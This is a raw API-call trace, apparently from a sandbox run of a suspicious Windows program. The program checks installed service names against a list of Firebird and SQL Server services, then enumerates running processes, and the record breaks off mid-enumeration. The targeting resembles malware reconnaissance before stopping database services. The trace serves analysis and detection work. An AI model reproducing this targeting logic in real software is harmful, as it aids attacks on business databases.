	[0173.499] lstrlenW (lpString="FontCache") returned 9
	[0173.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0173.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0173.499] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0173.499] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0173.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0173.500] lstrlenW (lpString="gpsvc") returned 5
	[0173.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0173.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0173.500] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0173.500] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0173.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0173.500] lstrlenW (lpString="iphlpsvc") returned 8
	[0173.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0173.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0173.500] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0173.500] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0173.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0173.500] lstrlenW (lpString="KeyIso") returned 6
	[0173.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0173.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0173.500] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0173.500] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0173.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0173.500] lstrlenW (lpString="LanmanServer") returned 12
	[0173.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0173.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0173.500] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0173.500] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0173.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0173.500] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0173.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0173.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0173.500] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0173.500] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0173.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0173.500] lstrlenW (lpString="lfsvc") returned 5
	[0173.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0173.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0173.501] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0173.501] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0173.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0173.501] lstrlenW (lpString="lmhosts") returned 7
	[0173.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0173.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0173.501] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0173.501] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0173.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0173.501] lstrlenW (lpString="LSM") returned 3
	[0173.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0173.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0173.501] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0173.501] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0173.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0173.501] lstrlenW (lpString="MpsSvc") returned 6
	[0173.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0173.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0173.501] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0173.501] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0173.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0173.501] lstrlenW (lpString="NcbService") returned 10
	[0173.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0173.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0173.501] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0173.502] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0173.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0173.502] lstrlenW (lpString="netprofm") returned 8
	[0173.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0173.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0173.502] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0173.502] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0173.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0173.502] lstrlenW (lpString="NgcSvc") returned 6
	[0173.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0173.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0173.502] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0173.502] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0173.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0173.502] lstrlenW (lpString="NlaSvc") returned 6
	[0173.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0173.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0173.502] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0173.502] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0173.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0173.502] lstrlenW (lpString="nsi") returned 3
	[0173.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0173.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0173.502] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0173.502] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0173.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0173.502] lstrlenW (lpString="PcaSvc") returned 6
	[0173.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0173.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0173.502] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0173.502] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0173.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0173.503] lstrlenW (lpString="PlugPlay") returned 8
	[0173.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0173.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0173.503] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0173.503] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0173.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0173.503] lstrlenW (lpString="Power") returned 5
	[0173.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0173.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0173.503] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0173.503] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0173.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0173.503] lstrlenW (lpString="ProfSvc") returned 7
	[0173.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0173.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0173.503] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0173.503] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0173.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0173.503] lstrlenW (lpString="RpcEptMapper") returned 12
	[0173.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0173.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0173.503] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0173.503] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0173.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0173.503] lstrlenW (lpString="RpcSs") returned 5
	[0173.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0173.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0173.503] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0173.503] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0173.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0173.503] lstrlenW (lpString="SamSs") returned 5
	[0173.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0173.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0173.504] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0173.504] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0173.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0173.504] lstrlenW (lpString="Schedule") returned 8
	[0173.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0173.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0173.504] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0173.504] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0173.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0173.504] lstrlenW (lpString="SecurityHealthService") returned 21
	[0173.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0173.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0173.504] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0173.504] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0173.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0173.504] lstrlenW (lpString="SENS") returned 4
	[0173.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0173.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0173.504] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0173.504] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0173.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0173.504] lstrlenW (lpString="ShellHWDetection") returned 16
	[0173.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0173.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0173.504] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0173.504] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0173.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0173.504] lstrlenW (lpString="Spooler") returned 7
	[0173.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0173.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0173.504] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0173.505] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0173.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0173.505] lstrlenW (lpString="StateRepository") returned 15
	[0173.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0173.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0173.505] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0173.505] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0173.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0173.505] lstrlenW (lpString="SysMain") returned 7
	[0173.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0173.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0173.505] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0173.505] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0173.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0173.505] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0173.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0173.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0173.505] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0173.505] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0173.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0173.505] lstrlenW (lpString="Themes") returned 6
	[0173.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0173.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0173.505] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0173.505] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0173.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0173.505] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0173.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0173.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0173.505] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0173.505] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0173.506] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41e6cb8 | out: hHeap=0x5a0000) returned 1
	[0173.506] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x550
	[0173.517] Process32FirstW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0173.517] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0173.518] lstrlenW (lpString="System") returned 6
	[0173.518] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0173.518] lstrlenW (lpString="smss.exe") returned 8
	[0173.518] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0173.519] lstrlenW (lpString="csrss.exe") returned 9
	[0173.519] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0173.519] lstrlenW (lpString="wininit.exe") returned 11
	[0173.519] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0173.520] lstrlenW (lpString="csrss.exe") returned 9
	[0173.520] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0173.520] lstrlenW (lpString="winlogon.exe") returned 12
	[0173.520] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0173.520] lstrlenW (lpString="services.exe") returned 12
	[0173.521] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0173.521] lstrlenW (lpString="lsass.exe") returned 9
	[0173.521] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0173.521] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0173.521] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0173.522] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0173.522] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.522] lstrlenW (lpString="svchost.exe") returned 11
	[0173.523] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.523] lstrlenW (lpString="svchost.exe") returned 11
	[0173.523] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0173.524] lstrlenW (lpString="dwm.exe") returned 7
	[0173.524] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.655] lstrlenW (lpString="svchost.exe") returned 11
	[0173.655] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.655] lstrlenW (lpString="svchost.exe") returned 11
	[0173.655] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.656] lstrlenW (lpString="svchost.exe") returned 11
	[0173.656] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.656] lstrlenW (lpString="svchost.exe") returned 11
	[0173.656] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.657] lstrlenW (lpString="svchost.exe") returned 11
	[0173.657] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.657] lstrlenW (lpString="svchost.exe") returned 11
	[0173.657] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.658] lstrlenW (lpString="svchost.exe") returned 11
	[0173.658] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.658] lstrlenW (lpString="svchost.exe") returned 11
	[0173.658] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.659] lstrlenW (lpString="svchost.exe") returned 11
	[0173.659] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.660] lstrlenW (lpString="svchost.exe") returned 11
	[0173.660] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0173.660] lstrlenW (lpString="spoolsv.exe") returned 11
	[0173.660] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.660] lstrlenW (lpString="svchost.exe") returned 11
	[0173.661] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0173.661] lstrlenW (lpString="audiodg.exe") returned 11
	[0173.661] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0173.661] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0173.661] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0173.662] lstrlenW (lpString="SecurityHealthService.exe") returned 25
